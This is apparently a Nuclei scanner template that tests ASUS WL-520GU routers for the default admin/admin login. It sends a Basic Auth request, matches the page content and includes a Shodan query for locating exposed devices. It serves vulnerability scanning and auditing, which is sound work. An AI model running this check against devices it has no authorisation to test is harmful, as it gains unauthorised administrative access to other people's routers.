id: asus-wl520GU-default-login

info:
  name: ASUS WL-520GU - Default Login
  author: ritikchaddha
  severity: high
  description: |
    ASUS WL-520GU contains a default login vulnerability. The default admin login password 'admin' was found.
  metadata:
    verified: true
    max-request: 1
    shodan-query: "WL-520GU"
  tags: default-login,asus,wl-520gu

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username + ':' + password)}}

    attack: pitchfork
    payloads:
      username:
        - admin
      password:
        - admin

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'ASUS'
          - 'WL-520GU'
          - "return 'Connected"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402202980392cf25f02345995427cbccf37e4175dae42284b2bd38b38d5fbe6f802d002203c9da18704606e0e2a491dfc2def430168bd423cb22b004567da77bf7d877234:922c64590222798bb761d5b6d8e72950